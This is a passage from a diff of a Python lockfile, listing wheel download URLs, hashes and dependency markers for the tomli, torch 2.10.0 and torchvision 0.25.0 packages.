"sha256:2d0f2fdd22b02c6d81637a3c95f8cd77f995846af7414c5c4b8d0545afa1bc4b", size = 108309, upload-time = "2024-11-27T22:38:06.812Z" }, + { url = "https://files.pythonhosted.org/packages/52/e1/f8af4c2fcde17500422858155aeb0d7e93477a0d59a98e56cbfe75070fd0/tomli-2.2.1-cp312-cp312-macosx_10_13_x86_64.whl", hash = "sha256:4a8f6e44de52d5e6c657c9fe83b562f5f4256d8ebbfe4ff922c495620a7f6cea", size = 132762, upload-time = "2024-11-27T22:38:07.731Z" }, + { url = "https://files.pythonhosted.org/packages/03/b8/152c68bb84fc00396b83e7bbddd5ec0bd3dd409db4195e2a9b3e398ad2e3/tomli-2.2.1-cp312-cp312-macosx_11_0_arm64.whl", hash = "sha256:8d57ca8095a641b8237d5b079147646153d22552f1c637fd3ba7f4b0b29167a8", size = 123453, upload-time = "2024-11-27T22:38:09.384Z" }, + { url = "https://files.pythonhosted.org/packages/c8/d6/fc9267af9166f79ac528ff7e8c55c8181ded34eb4b0e93daa767b8841573/tomli-2.2.1-cp312-cp312-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:4e340144ad7ae1533cb897d406382b4b6fede8890a03738ff1683af800d54192", size = 233486, upload-time = "2024-11-27T22:38:10.329Z" }, + { url = "https://files.pythonhosted.org/packages/5c/51/51c3f2884d7bab89af25f678447ea7d297b53b5a3b5730a7cb2ef6069f07/tomli-2.2.1-cp312-cp312-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:db2b95f9de79181805df90bedc5a5ab4c165e6ec3fe99f970d0e302f384ad222", size = 242349, upload-time = "2024-11-27T22:38:11.443Z" }, + { url = "https://files.pythonhosted.org/packages/ab/df/bfa89627d13a5cc22402e441e8a931ef2108403db390ff3345c05253935e/tomli-2.2.1-cp312-cp312-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:40741994320b232529c802f8bc86da4e1aa9f413db394617b9a256ae0f9a7f77", size = 252159, upload-time = "2024-11-27T22:38:13.099Z" }, + { url = "https://files.pythonhosted.org/packages/9e/6e/fa2b916dced65763a5168c6ccb91066f7639bdc88b48adda990db10c8c0b/tomli-2.2.1-cp312-cp312-musllinux_1_2_aarch64.whl", hash = "sha256:400e720fe168c0f8521520190686ef8ef033fb19fc493da09779e592861b78c6", size = 237243, upload-time = "2024-11-27T22:38:14.766Z" }, + { url = "https://files.pythonhosted.org/packages/b4/04/885d3b1f650e1153cbb93a6a9782c58a972b94ea4483ae4ac5cedd5e4a09/tomli-2.2.1-cp312-cp312-musllinux_1_2_i686.whl", hash = "sha256:02abe224de6ae62c19f090f68da4e27b10af2b93213d36cf44e6e1c5abd19fdd", size = 259645, upload-time = "2024-11-27T22:38:15.843Z" }, + { url = "https://files.pythonhosted.org/packages/9c/de/6b432d66e986e501586da298e28ebeefd3edc2c780f3ad73d22566034239/tomli-2.2.1-cp312-cp312-musllinux_1_2_x86_64.whl", hash = "sha256:b82ebccc8c8a36f2094e969560a1b836758481f3dc360ce9a3277c65f374285e", size = 244584, upload-time = "2024-11-27T22:38:17.645Z" }, + { url = "https://files.pythonhosted.org/packages/1c/9a/47c0449b98e6e7d1be6cbac02f93dd79003234ddc4aaab6ba07a9a7482e2/tomli-2.2.1-cp312-cp312-win32.whl", hash = "sha256:889f80ef92701b9dbb224e49ec87c645ce5df3fa2cc548664eb8a25e03127a98", size = 98875, upload-time = "2024-11-27T22:38:19.159Z" }, + { url = "https://files.pythonhosted.org/packages/ef/60/9b9638f081c6f1261e2688bd487625cd1e660d0a85bd469e91d8db969734/tomli-2.2.1-cp312-cp312-win_amd64.whl", hash = "sha256:7fc04e92e1d624a4a63c76474610238576942d6b8950a2d7f908a340494e67e4", size = 109418, upload-time = "2024-11-27T22:38:20.064Z" }, + { url = "https://files.pythonhosted.org/packages/04/90/2ee5f2e0362cb8a0b6499dc44f4d7d48f8fff06d28ba46e6f1eaa61a1388/tomli-2.2.1-cp313-cp313-macosx_10_13_x86_64.whl", hash = "sha256:f4039b9cbc3048b2416cc57ab3bda989a6fcf9b36cf8937f01a6e731b64f80d7", size = 132708, upload-time = "2024-11-27T22:38:21.659Z" }, + { url = "https://files.pythonhosted.org/packages/c0/ec/46b4108816de6b385141f082ba99e315501ccd0a2ea23db4a100dd3990ea/tomli-2.2.1-cp313-cp313-macosx_11_0_arm64.whl", hash = "sha256:286f0ca2ffeeb5b9bd4fcc8d6c330534323ec51b2f52da063b11c502da16f30c", size = 123582, upload-time = "2024-11-27T22:38:22.693Z" }, + { url = "https://files.pythonhosted.org/packages/a0/bd/b470466d0137b37b68d24556c38a0cc819e8febe392d5b199dcd7f578365/tomli-2.2.1-cp313-cp313-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:a92ef1a44547e894e2a17d24e7557a5e85a9e1d0048b0b5e7541f76c5032cb13", size = 232543, upload-time = "2024-11-27T22:38:24.367Z" }, + { url = "https://files.pythonhosted.org/packages/d9/e5/82e80ff3b751373f7cead2815bcbe2d51c895b3c990686741a8e56ec42ab/tomli-2.2.1-cp313-cp313-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:9316dc65bed1684c9a98ee68759ceaed29d229e985297003e494aa825ebb0281", size = 241691, upload-time = "2024-11-27T22:38:26.081Z" }, + { url = "https://files.pythonhosted.org/packages/05/7e/2a110bc2713557d6a1bfb06af23dd01e7dde52b6ee7dadc589868f9abfac/tomli-2.2.1-cp313-cp313-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:e85e99945e688e32d5a35c1ff38ed0b3f41f43fad8df0bdf79f72b2ba7bc5272", size = 251170, upload-time = "2024-11-27T22:38:27.921Z" }, + { url = "https://files.pythonhosted.org/packages/64/7b/22d713946efe00e0adbcdfd6d1aa119ae03fd0b60ebed51ebb3fa9f5a2e5/tomli-2.2.1-cp313-cp313-musllinux_1_2_aarch64.whl", hash = "sha256:ac065718db92ca818f8d6141b5f66369833d4a80a9d74435a268c52bdfa73140", size = 236530, upload-time = "2024-11-27T22:38:29.591Z" }, + { url = "https://files.pythonhosted.org/packages/38/31/3a76f67da4b0cf37b742ca76beaf819dca0ebef26d78fc794a576e08accf/tomli-2.2.1-cp313-cp313-musllinux_1_2_i686.whl", hash = "sha256:d920f33822747519673ee656a4b6ac33e382eca9d331c87770faa3eef562aeb2", size = 258666, upload-time = "2024-11-27T22:38:30.639Z" }, + { url = "https://files.pythonhosted.org/packages/07/10/5af1293da642aded87e8a988753945d0cf7e00a9452d3911dd3bb354c9e2/tomli-2.2.1-cp313-cp313-musllinux_1_2_x86_64.whl", hash = "sha256:a198f10c4d1b1375d7687bc25294306e551bf1abfa4eace6650070a5c1ae2744", size = 243954, upload-time = "2024-11-27T22:38:31.702Z" }, + { url = "https://files.pythonhosted.org/packages/5b/b9/1ed31d167be802da0fc95020d04cd27b7d7065cc6fbefdd2f9186f60d7bd/tomli-2.2.1-cp313-cp313-win32.whl", hash = "sha256:d3f5614314d758649ab2ab3a62d4f2004c825922f9e370b29416484086b264ec", size = 98724, upload-time = "2024-11-27T22:38:32.837Z" }, + { url = "https://files.pythonhosted.org/packages/c7/32/b0963458706accd9afcfeb867c0f9175a741bf7b19cd424230714d722198/tomli-2.2.1-cp313-cp313-win_amd64.whl", hash = "sha256:a38aa0308e754b0e3c67e344754dff64999ff9b513e691d0e786265c93583c69", size = 109383, upload-time = "2024-11-27T22:38:34.455Z" }, + { url = "https://files.pythonhosted.org/packages/6e/c2/61d3e0f47e2b74ef40a68b9e6ad5984f6241a942f7cd3bbfbdbd03861ea9/tomli-2.2.1-py3-none-any.whl", hash = "sha256:cb55c73c5f4408779d0cf3eef9f762b9c9f147a77de7b258bef0a5628adc85cc", size = 14257, upload-time = "2024-11-27T22:38:35.385Z" }, +] + +[[package]] +name = "torch" +version = "2.10.0" +source = { registry = "https://pypi.org/simple" } +dependencies = [ + { name = "cuda-bindings", marker = "platform_machine == 'x86_64' and sys_platform == 'linux'" }, + { name = "filelock" }, + { name = "fsspec" }, + { name = "jinja2" }, + { name = "networkx", version = "3.4.2", source = { registry = "https://pypi.org/simple" }, marker = "python_full_version < '3.11'" }, + { name = "networkx", version = "3.6.1", source = { registry = "https://pypi.org/simple" }, marker = "python_full_version >= '3.11'" }, + { name = "nvidia-cublas-cu12", marker = "platform_machine == 'x86_64' and sys_platform == 'linux'" }, + { name = "nvidia-cuda-cupti-cu12", marker = "platform_machine == 'x86_64' and sys_platform == 'linux'" }, + { name = "nvidia-cuda-nvrtc-cu12", marker = "platform_machine == 'x86_64' and sys_platform == 'linux'" }, + { name = "nvidia-cuda-runtime-cu12", marker = "platform_machine == 'x86_64' and sys_platform == 'linux'" }, + { name = "nvidia-cudnn-cu12", marker = "platform_machine == 'x86_64' and sys_platform == 'linux'" }, + { name = "nvidia-cufft-cu12", marker = "platform_machine == 'x86_64' and sys_platform == 'linux'" }, + { name = "nvidia-cufile-cu12", marker = "platform_machine == 'x86_64' and sys_platform == 'linux'" }, + { name = "nvidia-curand-cu12", marker = "platform_machine == 'x86_64' and sys_platform == 'linux'" }, + { name = "nvidia-cusolver-cu12", marker = "platform_machine == 'x86_64' and sys_platform == 'linux'" }, + { name = "nvidia-cusparse-cu12", marker = "platform_machine == 'x86_64' and sys_platform == 'linux'" }, + { name = "nvidia-cusparselt-cu12", marker = "platform_machine == 'x86_64' and sys_platform == 'linux'" }, + { name = "nvidia-nccl-cu12", marker = "platform_machine == 'x86_64' and sys_platform == 'linux'" }, + { name = "nvidia-nvjitlink-cu12", marker = "platform_machine == 'x86_64' and sys_platform == 'linux'" }, + { name = "nvidia-nvshmem-cu12", marker = "platform_machine == 'x86_64' and sys_platform == 'linux'" }, + { name = "nvidia-nvtx-cu12", marker = "platform_machine == 'x86_64' and sys_platform == 'linux'" }, + { name = "setuptools", marker = "python_full_version >= '3.12'" }, + { name = "sympy" }, + { name = "triton", marker = "platform_machine == 'x86_64' and sys_platform == 'linux'" }, + { name = "typing-extensions" }, +] +wheels = [ + { url = "https://files.pythonhosted.org/packages/5b/30/bfebdd8ec77db9a79775121789992d6b3b75ee5494971294d7b4b7c999bc/torch-2.10.0-2-cp310-none-macosx_11_0_arm64.whl", hash = "sha256:2b980edd8d7c0a68c4e951ee1856334a43193f98730d97408fbd148c1a933313", size = 79411457, upload-time = "2026-02-10T21:44:59.189Z" }, + { url = "https://files.pythonhosted.org/packages/0f/8b/4b61d6e13f7108f36910df9ab4b58fd389cc2520d54d81b88660804aad99/torch-2.10.0-2-cp311-none-macosx_11_0_arm64.whl", hash = "sha256:418997cb02d0a0f1497cf6a09f63166f9f5df9f3e16c8a716ab76a72127c714f", size = 79423467, upload-time = "2026-02-10T21:44:48.711Z" }, + { url = "https://files.pythonhosted.org/packages/d3/54/a2ba279afcca44bbd320d4e73675b282fcee3d81400ea1b53934efca6462/torch-2.10.0-2-cp312-none-macosx_11_0_arm64.whl", hash = "sha256:13ec4add8c3faaed8d13e0574f5cd4a323c11655546f91fbe6afa77b57423574", size = 79498202, upload-time = "2026-02-10T21:44:52.603Z" }, + { url = "https://files.pythonhosted.org/packages/ec/23/2c9fe0c9c27f7f6cb865abcea8a4568f29f00acaeadfc6a37f6801f84cb4/torch-2.10.0-2-cp313-none-macosx_11_0_arm64.whl", hash = "sha256:e521c9f030a3774ed770a9c011751fb47c4d12029a3d6522116e48431f2ff89e", size = 79498254, upload-time = "2026-02-10T21:44:44.095Z" }, + { url = "https://files.pythonhosted.org/packages/0c/1a/c61f36cfd446170ec27b3a4984f072fd06dab6b5d7ce27e11adb35d6c838/torch-2.10.0-cp310-cp310-manylinux_2_28_aarch64.whl", hash = "sha256:5276fa790a666ee8becaffff8acb711922252521b28fbce5db7db5cf9cb2026d", size = 145992962, upload-time = "2026-01-21T16:24:14.04Z" }, + { url = "https://files.pythonhosted.org/packages/b5/60/6662535354191e2d1555296045b63e4279e5a9dbad49acf55a5d38655a39/torch-2.10.0-cp310-cp310-manylinux_2_28_x86_64.whl", hash = "sha256:aaf663927bcd490ae971469a624c322202a2a1e68936eb952535ca4cd3b90444", size = 915599237, upload-time = "2026-01-21T16:23:25.497Z" }, + { url = "https://files.pythonhosted.org/packages/40/b8/66bbe96f0d79be2b5c697b2e0b187ed792a15c6c4b8904613454651db848/torch-2.10.0-cp310-cp310-win_amd64.whl", hash = "sha256:a4be6a2a190b32ff5c8002a0977a25ea60e64f7ba46b1be37093c141d9c49aeb", size = 113720931, upload-time = "2026-01-21T16:24:23.743Z" }, + { url = "https://files.pythonhosted.org/packages/76/bb/d820f90e69cda6c8169b32a0c6a3ab7b17bf7990b8f2c680077c24a3c14c/torch-2.10.0-cp310-none-macosx_11_0_arm64.whl", hash = "sha256:35e407430795c8d3edb07a1d711c41cc1f9eaddc8b2f1cc0a165a6767a8fb73d", size = 79411450, upload-time = "2026-01-21T16:25:30.692Z" }, + { url = "https://files.pythonhosted.org/packages/78/89/f5554b13ebd71e05c0b002f95148033e730d3f7067f67423026cc9c69410/torch-2.10.0-cp311-cp311-manylinux_2_28_aarch64.whl", hash = "sha256:3282d9febd1e4e476630a099692b44fdc214ee9bf8ee5377732d9d9dfe5712e4", size = 145992610, upload-time = "2026-01-21T16:25:26.327Z" }, + { url = "https://files.pythonhosted.org/packages/ae/30/a3a2120621bf9c17779b169fc17e3dc29b230c29d0f8222f499f5e159aa8/torch-2.10.0-cp311-cp311-manylinux_2_28_x86_64.whl", hash = "sha256:a2f9edd8dbc99f62bc4dfb78af7bf89499bca3d753423ac1b4e06592e467b763", size = 915607863, upload-time = "2026-01-21T16:25:06.696Z" }, + { url = "https://files.pythonhosted.org/packages/6f/3d/c87b33c5f260a2a8ad68da7147e105f05868c281c63d65ed85aa4da98c66/torch-2.10.0-cp311-cp311-win_amd64.whl", hash = "sha256:29b7009dba4b7a1c960260fc8ac85022c784250af43af9fb0ebafc9883782ebd", size = 113723116, upload-time = "2026-01-21T16:25:21.916Z" }, + { url = "https://files.pythonhosted.org/packages/61/d8/15b9d9d3a6b0c01b883787bd056acbe5cc321090d4b216d3ea89a8fcfdf3/torch-2.10.0-cp311-none-macosx_11_0_arm64.whl", hash = "sha256:b7bd80f3477b830dd166c707c5b0b82a898e7b16f59a7d9d42778dd058272e8b", size = 79423461, upload-time = "2026-01-21T16:24:50.266Z" }, + { url = "https://files.pythonhosted.org/packages/cc/af/758e242e9102e9988969b5e621d41f36b8f258bb4a099109b7a4b4b50ea4/torch-2.10.0-cp312-cp312-manylinux_2_28_aarch64.whl", hash = "sha256:5fd4117d89ffd47e3dcc71e71a22efac24828ad781c7e46aaaf56bf7f2796acf", size = 145996088, upload-time = "2026-01-21T16:24:44.171Z" }, + { url = "https://files.pythonhosted.org/packages/23/8e/3c74db5e53bff7ed9e34c8123e6a8bfef718b2450c35eefab85bb4a7e270/torch-2.10.0-cp312-cp312-manylinux_2_28_x86_64.whl", hash = "sha256:787124e7db3b379d4f1ed54dd12ae7c741c16a4d29b49c0226a89bea50923ffb", size = 915711952, upload-time = "2026-01-21T16:23:53.503Z" }, + { url = "https://files.pythonhosted.org/packages/6e/01/624c4324ca01f66ae4c7cd1b74eb16fb52596dce66dbe51eff95ef9e7a4c/torch-2.10.0-cp312-cp312-win_amd64.whl", hash = "sha256:2c66c61f44c5f903046cc696d088e21062644cbe541c7f1c4eaae88b2ad23547", size = 113757972, upload-time = "2026-01-21T16:24:39.516Z" }, + { url = "https://files.pythonhosted.org/packages/c9/5c/dee910b87c4d5c0fcb41b50839ae04df87c1cfc663cf1b5fca7ea565eeaa/torch-2.10.0-cp312-none-macosx_11_0_arm64.whl", hash = "sha256:6d3707a61863d1c4d6ebba7be4ca320f42b869ee657e9b2c21c736bf17000294", size = 79498198, upload-time = "2026-01-21T16:24:34.704Z" }, + { url = "https://files.pythonhosted.org/packages/c9/6f/f2e91e34e3fcba2e3fc8d8f74e7d6c22e74e480bbd1db7bc8900fdf3e95c/torch-2.10.0-cp313-cp313-manylinux_2_28_aarch64.whl", hash = "sha256:5c4d217b14741e40776dd7074d9006fd28b8a97ef5654db959d8635b2fe5f29b", size = 146004247, upload-time = "2026-01-21T16:24:29.335Z" }, + { url = "https://files.pythonhosted.org/packages/98/fb/5160261aeb5e1ee12ee95fe599d0541f7c976c3701d607d8fc29e623229f/torch-2.10.0-cp313-cp313-manylinux_2_28_x86_64.whl", hash = "sha256:6b71486353fce0f9714ca0c9ef1c850a2ae766b409808acd58e9678a3edb7738", size = 915716445, upload-time = "2026-01-21T16:22:45.353Z" }, + { url = "https://files.pythonhosted.org/packages/6a/16/502fb1b41e6d868e8deb5b0e3ae926bbb36dab8ceb0d1b769b266ad7b0c3/torch-2.10.0-cp313-cp313-win_amd64.whl", hash = "sha256:c2ee399c644dc92ef7bc0d4f7e74b5360c37cdbe7c5ba11318dda49ffac2bc57", size = 113757050, upload-time = "2026-01-21T16:24:19.204Z" }, + { url = "https://files.pythonhosted.org/packages/1a/0b/39929b148f4824bc3ad6f9f72a29d4ad865bcf7ebfc2fa67584773e083d2/torch-2.10.0-cp313-cp313t-macosx_14_0_arm64.whl", hash = "sha256:3202429f58309b9fa96a614885eace4b7995729f44beb54d3e4a47773649d382", size = 79851305, upload-time = "2026-01-21T16:24:09.209Z" }, + { url = "https://files.pythonhosted.org/packages/d8/14/21fbce63bc452381ba5f74a2c0a959fdf5ad5803ccc0c654e752e0dbe91a/torch-2.10.0-cp313-cp313t-manylinux_2_28_aarch64.whl", hash = "sha256:aae1b29cd68e50a9397f5ee897b9c24742e9e306f88a807a27d617f07adb3bd8", size = 146005472, upload-time = "2026-01-21T16:22:29.022Z" }, + { url = "https://files.pythonhosted.org/packages/54/fd/b207d1c525cb570ef47f3e9f836b154685011fce11a2f444ba8a4084d042/torch-2.10.0-cp313-cp313t-manylinux_2_28_x86_64.whl", hash = "sha256:6021db85958db2f07ec94e1bc77212721ba4920c12a18dc552d2ae36a3eb163f", size = 915612644, upload-time = "2026-01-21T16:21:47.019Z" }, + { url = "https://files.pythonhosted.org/packages/36/53/0197f868c75f1050b199fe58f9bf3bf3aecac9b4e85cc9c964383d745403/torch-2.10.0-cp313-cp313t-win_amd64.whl", hash = "sha256:ff43db38af76fda183156153983c9a096fc4c78d0cd1e07b14a2314c7f01c2c8", size = 113997015, upload-time = "2026-01-21T16:23:00.767Z" }, + { url = "https://files.pythonhosted.org/packages/0e/13/e76b4d9c160e89fff48bf16b449ea324bda84745d2ab30294c37c2434c0d/torch-2.10.0-cp313-none-macosx_11_0_arm64.whl", hash = "sha256:cdf2a523d699b70d613243211ecaac14fe9c5df8a0b0a9c02add60fb2a413e0f", size = 79498248, upload-time = "2026-01-21T16:23:09.315Z" }, + { url = "https://files.pythonhosted.org/packages/4f/93/716b5ac0155f1be70ed81bacc21269c3ece8dba0c249b9994094110bfc51/torch-2.10.0-cp314-cp314-macosx_14_0_arm64.whl", hash = "sha256:bf0d9ff448b0218e0433aeb198805192346c4fd659c852370d5cc245f602a06a", size = 79464992, upload-time = "2026-01-21T16:23:05.162Z" }, + { url = "https://files.pythonhosted.org/packages/69/2b/51e663ff190c9d16d4a8271203b71bc73a16aa7619b9f271a69b9d4a936b/torch-2.10.0-cp314-cp314-manylinux_2_28_aarch64.whl", hash = "sha256:233aed0659a2503b831d8a67e9da66a62c996204c0bba4f4c442ccc0c68a3f60", size = 146018567, upload-time = "2026-01-21T16:22:23.393Z" }, + { url = "https://files.pythonhosted.org/packages/5e/cd/4b95ef7f293b927c283db0b136c42be91c8ec6845c44de0238c8c23bdc80/torch-2.10.0-cp314-cp314-manylinux_2_28_x86_64.whl", hash = "sha256:682497e16bdfa6efeec8cde66531bc8d1fbbbb4d8788ec6173c089ed3cc2bfe5", size = 915721646, upload-time = "2026-01-21T16:21:16.983Z" }, + { url = "https://files.pythonhosted.org/packages/56/97/078a007208f8056d88ae43198833469e61a0a355abc0b070edd2c085eb9a/torch-2.10.0-cp314-cp314-win_amd64.whl", hash = "sha256:6528f13d2a8593a1a412ea07a99812495bec07e9224c28b2a25c0a30c7da025c", size = 113752373, upload-time = "2026-01-21T16:22:13.471Z" }, + { url = "https://files.pythonhosted.org/packages/d8/94/71994e7d0d5238393df9732fdab607e37e2b56d26a746cb59fdb415f8966/torch-2.10.0-cp314-cp314t-macosx_14_0_arm64.whl", hash = "sha256:f5ab4ba32383061be0fb74bda772d470140a12c1c3b58a0cfbf3dae94d164c28", size = 79850324, upload-time = "2026-01-21T16:22:09.494Z" }, + { url = "https://files.pythonhosted.org/packages/e2/65/1a05346b418ea8ccd10360eef4b3e0ce688fba544e76edec26913a8d0ee0/torch-2.10.0-cp314-cp314t-manylinux_2_28_aarch64.whl", hash = "sha256:716b01a176c2a5659c98f6b01bf868244abdd896526f1c692712ab36dbaf9b63", size = 146006482, upload-time = "2026-01-21T16:22:18.42Z" }, + { url = "https://files.pythonhosted.org/packages/1d/b9/5f6f9d9e859fc3235f60578fa64f52c9c6e9b4327f0fe0defb6de5c0de31/torch-2.10.0-cp314-cp314t-manylinux_2_28_x86_64.whl", hash = "sha256:d8f5912ba938233f86361e891789595ff35ca4b4e2ac8fe3670895e5976731d6", size = 915613050, upload-time = "2026-01-21T16:20:49.035Z" }, + { url = "https://files.pythonhosted.org/packages/66/4d/35352043ee0eaffdeff154fad67cd4a31dbed7ff8e3be1cc4549717d6d51/torch-2.10.0-cp314-cp314t-win_amd64.whl", hash = "sha256:71283a373f0ee2c89e0f0d5f446039bdabe8dbc3c9ccf35f0f784908b0acd185", size = 113995816, upload-time = "2026-01-21T16:22:05.312Z" }, +] + +[[package]] +name = "torchvision" +version = "0.25.0" +source = { registry = "https://pypi.org/simple" } +dependencies = [ + { name = "numpy" }, + { name = "pillow" }, + { name = "torch" }, +] +wheels = [ + { url = "https://files.pythonhosted.org/packages/50/ae/cbf727421eb73f1cf907fbe5788326a08f111b3f6b6ddca15426b53fec9a/torchvision-0.25.0-cp310-cp310-macosx_11_0_arm64.whl", hash = "sha256:a95c47abb817d4e90ea1a8e57bd0d728e3e6b533b3495ae77d84d883c4d11f56", size = 1874919, upload-time = "2026-01-21T16:27:47.617Z" }, + { url = "https://files.pythonhosted.org/packages/64/68/dc7a224f606d53ea09f9a85196a3921ec3a801b0b1d17e84c73392f0c029/torchvision-0.25.0-cp310-cp310-manylinux_2_28_aarch64.whl", hash = "sha256:acc339aba4a858192998c2b91f635827e40d9c469d9cf1455bafdda6e4c28ea4", size = 2343220, upload-time = "2026-01-21T16:27:44.26Z" }, + { url = "https://files.pythonhosted.org/packages/f9/fa/8cce5ca7ffd4da95193232493703d20aa06303f37b119fd23a65df4f239a/torchvision-0.25.0-cp310-cp310-manylinux_2_28_x86_64.whl", hash = "sha256:0d9a3f925a081dd2ebb0b791249b687c2ef2c2717d027946654607494b9b64b6", size = 8068106, upload-time = "2026-01-21T16:27:37.805Z" }, + { url = "https://files.pythonhosted.org/packages/8b/b9/a53bcf8f78f2cd89215e9ded70041765d50ef13bf301f9884ec6041a9421/torchvision-0.25.0-cp310-cp310-win_amd64.whl", hash = "sha256:b57430fbe9e9b697418a395041bb615124d9c007710a2712fda6e35fb310f264", size = 3697295, upload-time = "2026-01-21T16:27:36.574Z" }, + { url = "https://files.pythonhosted.org/packages/3e/be/c704bceaf11c4f6b19d64337a34a877fcdfe3bd68160a8c9ae9bea4a35a3/torchvision-0.25.0-cp311-cp311-macosx_11_0_arm64.whl", hash = "sha256:db74a551946b75d19f9996c419a799ffdf6a223ecf17c656f90da011f1d75b20", size = 1874923, upload-time = "2026-01-21T16:27:46.574Z" }, + { url = "https://files.pythonhosted.org/packages/ae/e9/f143cd71232430de1f547ceab840f68c55e127d72558b1061a71d0b193cd/torchvision-0.25.0-cp311-cp311-manylinux_2_28_aarch64.whl", hash = "sha256:f49964f96644dbac2506dffe1a0a7ec0f2bf8cf7a588c3319fed26e6329ffdf3", size = 2344808, upload-time = "2026-01-21T16:27:43.191Z" }, + { url = "https://files.pythonhosted.org/packages/43/ae/ad5d6165797de234c9658752acb4fce65b78a6a18d82efdf8367c940d8da/torchvision-0.25.0-cp311-cp311-manylinux_2_28_x86_64.whl", hash = "sha256:153c0d2cbc34b7cf2da19d73450f24ba36d2b75ec9211b9962b5022fb9e4ecee", size = 8070752, upload-time = "2026-01-21T16:27:33.748Z" }, + { url = "https://files.pythonhosted.org/packages/23/19/55b28aecdc7f38df57b8eb55eb0b14a62b470ed8efeb22cdc74224df1d6a/torchvision-0.25.0-cp311-cp311-win_amd64.whl", hash = "sha256:ea580ffd6094cc01914ad32f8c8118174f18974629af905cea08cb6d5d48c7b7", size = 4038722, upload-time = "2026-01-21T16:27:41.355Z" }, + { url = "https://files.pythonhosted.org/packages/56/3a/6ea0d73f49a9bef38a1b3a92e8dd455cea58470985d25635beab93841748/torchvision-0.25.0-cp312-cp312-macosx_11_0_arm64.whl", hash = "sha256:c2abe430c90b1d5e552680037d68da4eb80a5852ebb1c811b2b89d299b10573b", size = 1874920, upload-time = "2026-01-21T16:27:45.348Z" }, + { url = "https://files.pythonhosted.org/packages/51/f8/c0e1ef27c66e15406fece94930e7d6feee4cb6374bbc02d945a630d6426e/torchvision-0.25.0-cp312-cp312-manylinux_2_28_aarch64.whl", hash = "sha256:b75deafa2dfea3e2c2a525559b04783515e3463f6e830cb71de0fb7ea36fe233", size = 2344556, upload-time = "2026-01-21T16:27:40.125Z" }, + { url = "https://files.pythonhosted.org/packages/68/2f/f24b039169db474e8688f649377de082a965fbf85daf4e46c44412f1d15a/torchvision-0.25.0-cp312-cp312-manylinux_2_28_x86_64.whl", hash = "sha256:f25aa9e380865b11ea6e9d99d84df86b9cc959f1a007cd966fc6f1ab2ed0e248", size = 8072351, upload-time = "2026-01-21T16:27:21.074Z" }, + { url = "https://files.pythonhosted.org/packages/ad/16/8f650c2e288977cf0f8f85184b90ee56ed170a4919347fc74ee99286ed6f/torchvision-0.25.0-cp312-cp312-win_amd64.whl", hash = "sha256:f9c55ae8d673ab493325d1267cbd285bb94d56f99626c00ac4644de32a59ede3", size = 4303059, upload-time = "2026-01-21T16:27:11.08Z" }, + { url = "https://files.pythonhosted.org/packages/f5/5b/1562a04a6a5a4cf8cf40016a0cdeda91ede75d6962cff7f809a85ae966a5/torchvision-0.25.0-cp313-cp313-macosx_12_0_arm64.whl", hash = "sha256:24e11199e4d84ba9c5ee7825ebdf1cd37ce8deec225117f10243cae984ced3ec", size = 1874918, upload-time = "2026-01-21T16:27:39.02Z" }, + { url = "https://files.pythonhosted.org/packages/36/b1/3d6c42f62c272ce34fcce609bb8939bdf873dab5f1b798fd4e880255f129/torchvision-0.25.0-cp313-cp313-manylinux_2_28_aarch64.whl", hash = "sha256:5f271136d2d2c0b7a24c5671795c6e4fd8da4e0ea98aeb1041f62bc04c4370ef", size = 2309106, upload-time = "2026-01-21T16:27:30.624Z" }, + { url = "https://files.pythonhosted.org/packages/c7/60/59bb9c8b67cce356daeed4cb96a717caa4f69c9822f72e223a0eae7a9bd9/torchvision-0.25.0-cp313-cp313-manylinux_2_28_x86_64.whl", hash = "sha256:855c0dc6d37f462482da7531c6788518baedca1e0847f3df42a911713acdfe52", size = 8071522, upload-time = "2026-01-21T16:27:29.392Z" }, + { url = "https://files.pythonhosted.org/packages/32/a5/9a9b1de0720f884ea50dbf9acb22cbe5312e51d7b8c4ac6ba9b51efd9bba/torchvision-0.25.0-cp313-cp313-win_amd64.whl", hash = "sha256:cef0196be31be421f6f462d1e9da1101be7332d91984caa6f8022e6c78a5877f", size = 4321911, upload-time = "2026-01-21T16:27:35.195Z" }, + { url = "https://files.pythonhosted.org/packages/52/99/dca81ed21ebaeff2b67cc9f815a20fdaa418b69f5f9ea4c6ed71721470db/torchvision-0.25.0-cp313-cp313t-macosx_11_0_arm64.whl", hash = "sha256:a8f8061284395ce31bcd460f2169013382ccf411148ceb2ee38e718e9860f5a7", size = 1896209, upload-time = "2026-01-21T16:27:32.159Z" }, + { url = "https://files.pythonhosted.org/packages/28/cc/2103149761fdb4eaed58a53e8437b2d716d48f05174fab1d9fcf1e2a2244/torchvision-0.25.0-cp313-cp313t-manylinux_2_28_aarch64.whl", hash = "sha256:146d02c9876858420adf41f3189fe90e3d6a409cbfa65454c09f25fb33bf7266", size = 2310735, upload-time = "2026-01-21T16:27:22.327Z" }, + { url = "https://files.pythonhosted.org/packages/76/ad/f4c985ad52ddd3b22711c588501be1b330adaeaf6850317f66751711b78c/torchvision-0.25.0-cp313-cp313t-manylinux_2_28_x86_64.whl", hash = "sha256:c4d395cb2c4a2712f6eb93a34476cdf7aae74bb6ea2ea1917f858e96344b00aa", size = 8089557, upload-time = "2026-01-21T16:27:27.666Z" }, + { url = "https://files.pythonhosted.org/packages/63/cc/0ea68b5802e5e3c31f44b307e74947bad5a38cc655231d845534ed50ddb8/torchvision-0.25.0-cp313-cp313t-win_amd64.whl", hash = "sha256:5e6b449e9fa7d642142c0e27c41e5a43b508d57ed8e79b7c0a0c28652da8678c", size = 4344260, upload-time = "2026-01-21T16:27:17.018Z" }, + { url = "https://files.pythonhosted.org/packages/9e/1f/fa839532660e2602b7e704d65010787c5bb296258b44fa8b9c1cd6175e7d/torchvision-0.25.0-cp314-cp314-macosx_11_0_arm64.whl", hash = "sha256:620a236288d594dcec7634c754484542dc0a5c1b0e0b83a34bda5e91e9b7c3a1", size = 1896193, upload-time = "2026-01-21T16:27:24.785Z" }, + { url = "https://files.pythonhosted.org/packages/80/ed/d51889da7ceaf5ff7a0574fb28f9b6b223df19667265395891f81b364ab3/torchvision-0.25.0-cp314-cp314-manylinux_2_28_aarch64.whl", hash = 